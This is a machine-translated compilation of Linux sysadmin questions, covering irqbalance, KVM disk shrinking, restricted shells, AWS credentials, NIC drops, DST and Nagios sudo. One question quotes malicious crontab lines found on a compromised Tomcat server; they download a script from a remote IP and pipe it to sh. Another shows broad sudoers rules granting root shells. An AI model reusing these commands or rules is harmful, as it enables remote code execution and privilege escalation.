Articles of linux

在Ubuntu上如何禁止硬件中断与IRQBALANCE_BANNED_CPUS?

我想禁止某些CPU的中断。 我听说过IRQBALANCE_BANNED_CPUS选项。 我看到irqbalance正在我的机器的后台运行。 我在哪里去编辑,我该如何configuration该选项? 例如,我想从中断中排除CPU 2,3,4,5。 参数描述符是: 提供irqbalance应该忽略的cpus掩码,并且不要将中断分配给 面具是什么意思? 我在哪里可以configuration这个选项的irqbalance? 编辑1:如何知道我的configuration是有效的,换句话说,我的CPU正在接收无中断? 我正在检查/ proc /中断,但一些数字在增加。 编辑2:现在我用IRQBALANCE_BANNED_CPUS = 3e启动我的机器,所以只有CPU 0不被中断禁止。 所以我应该期望看到cpo0接收到很多中断,而另一个cpus没有接收到中断,对吧? 这是我的/ proc /中断。 所有粗线的粗线都在改变。 第22,24,35行和LOC正在改变。 CPU0 CPU1 CPU2 CPU3 CPU4 CPU5 0: 26 0 0 0 0 0 IO-APIC-edge timer 1: 2 0 0 0 0 0 IO-APIC-edge i8042 6: 3 0 0 0 0 0 […]

如何减小KVM虚拟机磁盘映像的大小

如何减less或缩小KVM虚拟机磁盘的大小? 我分配了一个500GB的虚拟磁盘(存储在/var/lib/libvirt/images/vm1.img),我发现过度杀伤,所以现在我想释放一些空间用于其他虚拟机器。 似乎有关于如何增加图像存储的很多答案 ,但不能减less它。 我发现了virt-resize工具,但它似乎只适用于原始磁盘分区,而不是磁盘映像。 编辑:我正在使用一个Ext4格式分区的LVM。 编辑:GParted截图显示我的LVM parition布局。 我需要做更多的事情,然后调整文件系统的大小。 我知道没有安全的方式来调整LVM的大小。 请不要告诉我使用pvresize 。 尽pipe它的名字,它不支持调整LVM的大小。 我曾尝试sudo pvresize /dev/vda5 ,但它只是说physical volume "/dev/vda5" changed但实际上并没有减小大小。 我尝试开始parted手动设置分区大小(非常危险),但做print all只是给我的错误“/ dev / sr0无法识别的磁盘标签”。 编辑:通过按照这些说明 ,我能够成功地收缩我的逻辑卷和物理卷(尽pipe我必须记住在某些命令之前和之后激活和停用lvm,这些说明省略了。 现在GParted显示了250G的未分配空闲空间。 我如何从KVM磁盘镜像中删除这个镜像,并将其还给底层的虚拟机pipe理程序?

使用并行来运行没有input的脚本

我试图运行GNU并行脚本的许多实例,但脚本没有参数。 如果我只是执行“平行foo.sh”我得到这个: parallel: Warning: Input is read from the terminal. Only experts do this on purpose. Press CTRL-D to exit.

用于pipe理文件和git存储库的受限shell

想想一个虚拟主机公司,想让用户通过SSHpipe理文件和git仓库。 这包括: 安全副本(scp) 创build,复制,移动/重命名和删除文件 为源代码pipe理和文本编辑(git,vim,nano)执行一个狭窄的命令子集, 我们想要实现这一点,并考虑了以下选项: RSSH scponly 这些将允许scp部分,但使用git似乎不可能。 在Launchpad中有一个补丁,但我不知道该怎么做。 还有git-shell ,但是它似乎不允许编辑。 也许vim甚至太多了,因为它可能被用来执行更多的代码,所以如果它太多的话,我们可以放弃(vim,或者文本编辑器,如果必须的话)。 我们基本上想lockingshell,所以用户可以pipe理(和编辑)文件和git存储库,但用户不应该能够在系统上执行任何其他程序。 最大的问题是滥用networking和计算资源,但是也使用该系统作为代理。 你把它命名。 有没有办法做到这一点,或者我们甚至可能在这个问题上有错误的做法?

在个人机器上安全地存储AWS证书

我如何在个人机器上安全地存储AWS证书? 详细: 我们团队中的每个人都需要AWS安全证书来执行pipe理任务(证书按angular色分隔)。 这些凭据通常以明文forms存储在磁盘上的某些configuration文件中。 我认为这是非常不安全的,特别是考虑到凭证是分布在团队成员,最终在备份等。 我更喜欢以encryptionforms存储这些凭据(例如类似于ssh密钥)。 有没有一些自动化的方式呢? 还是我需要破解一些使用例如opensslencryption数据的bash脚本? Web上有很多关于如何在EC2实例上保护证书的信息。 甚至有这个Amazon IAMangular色function ,但它也只适用于EC2。

使用VMware的模板和克隆来提供Linux服务器而不是PXE的意义

使用VMware的模板创build新的虚拟机似乎有速度的好处。 但是,我担心可能不那么明显的安全性和灵活性。 例如: 首先引导生成密钥 VMware专有的configuration服务器设置的方法(IP,主机名等) 在一个几乎完全是VMware的商店里,大部分的Linux都是基于RHEL的发行版,在从模板configuration时有没有人遇到过一些陷阱? 克隆时如何考虑? 顺便说一句:不pipe初始configuration方法如何,它将主要用作引导Puppet的其余configuration。

如何解决rx_missed_errors?

从旧服务器迁移到新服务器,设置完所有服务后,我注意到我的NIC中丢弃了大量的rx数据包: $ ifconfig eth2 | grep 'RX.*drop' RX packets:2059646370 errors:0 dropped:7142467 overruns:0 frame:0 但是/sys/class/net/eth2/statistics/rx_dropped什么都不显示: $ cat /sys/class/net/eth2/statistics/rx_dropped 0 然后,我看到rx_missed_errors : $ cat /sys/class/net/eth2/statistics/rx_missed_errors 7142467 如何解决问题并找出导致rx_missed_errors原因? 我正在运行的Ubuntu 12.04.5 LTS,与: $ ethtool -i eth2 driver: ixgbe version: 3.15.1-k firmware-version: 0x800003e1 bus-info: 0000:07:00.0 supports-statistics: yes supports-test: yes supports-eeprom-access: yes supports-register-dump: yes

在Linux中禁用夏令时(DST)更改

几周前,土耳其能源和自然资源部宣布,DST将是永久性的,GMT + 3将永远在国内使用。 目前,我们的Linux服务器的时区设置为欧洲/伊斯坦布尔 。 但是还没有发布tzdata更新。 由于缺less更新,在zoneinfo文件(/ usr / share / zoneinfo / Europe / Istanbul)中声明的时区会自动从2016年10月30日的GMT + 3更改为GMT + 2。 您可以在下面看到2016年的详细信息: # zdump -v /usr/share/zoneinfo/Europe/Istanbul | grep 2016 /usr/share/zoneinfo/Europe/Istanbul Sun Mar 27 00:59:59 2016 UT = Sun Mar 27 02:59:59 2016 EET isdst=0 gmtoff=7200 /usr/share/zoneinfo/Europe/Istanbul Sun Mar 27 01:00:00 2016 UT = Sun Mar 27 […]

Shell脚本攻击Apache服务器,通过未知来源的cron作业

在Apache Tomcat服务器上运行项目战时,我发现服务器已经被入侵。 在未知的cron上运行战争就像这样运行 [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O – -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh 下载的logo.jpg有一个正在下载恶意软件的shell脚本。 我在下面的网站上发现了类似的问题 Covert channels: Hiding shell scripts in PNG files 和 https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux 我无法在整个代码中find此cron作业调度程序的来源。 这个cron工作 我想知道有没有人遇到这个问题? 我该如何去寻找代码中cron作业的起源。 注意: 我正在开发一个JAVA(Struts 2)+ jsp + javascript + jquery web项目。 每当我用项目的war文件启动我的tomcat时,这个cron作业就会运行,但是我无法在我的代码中find任何cron作业的调度器。 我在我的日志文件中find了以下行 [INFO] 2017-06-02 […]

限制使用`sudo -s`

我正在一些Linux服务器上设置Nagios,并遇到了一些问题。 check_ide_smart插件需要root权限才能运行系统。 要运行它,我使用check_by_ssh插件ssh到远程主机上的nagios帐户,然后使用sudo运行check_ide_smart 。 我最初/etc/sudoers添加到/etc/sudoers以允许程序工作: nagios ALL=NOPASSWD: /usr/lib/nagios/plugins/check_ide_smart 虽然在本地运行时工作得很好,但是从Nagios运行时遇到问题:没有生成TTY,导致插件无法工作。 我在sudo的man页面中挖了一下,发现了-s选项,它生成一个shell并在那里执行程序。 当我尝试使用sudo -s ,由于-s显然将命令更改为/bin/bash -c /usr/lib/nagios/plugins/check_ide_smart ,这是sudoers文件不允许的,所以我遇到了权限问题。 我尝试改变sudoers文件来使用这个命令,但是这不起作用,并且使用引号是一个语法错误。 我最终通过在/etc/sudoers使用以下行来完成工作: nagios ALL=/bin/bash 这对我来说真的是错误的,因为我允许nagios用户产生一个root shell,他们可以做任何事情。 在这一点上,我虽然也许,通过将命令放在一个shell脚本,nagios用户具有只读权限将工作,所以我创build了一个shell脚本: #!/bin/sh /bin/bash -c /usr/lib/nagios/plugins/check_ide_plugin $@ 不幸的是,我永远不能得到传递的参数( $@ )正确地使用插件,所以我不知道这是否会工作。 编辑:我需要引用$@它的工作。 感谢@derobert和@pjz。 我仍然不知道这是否会工作,因为我使用@Mike Arthur的解决scheme来工作。 有没有一种方法可以让sudo -s在不允许生成根shell的情况下工作? 回答: 将以下行添加到/etc/sudoers : nagios ALL=NOPASSWD: /bin/bash -c /usr/lib/nagios/plugins/check_ide_smart * 注意尾部星号; 没有它,这是行不通的。 感谢@Mike亚瑟的答案。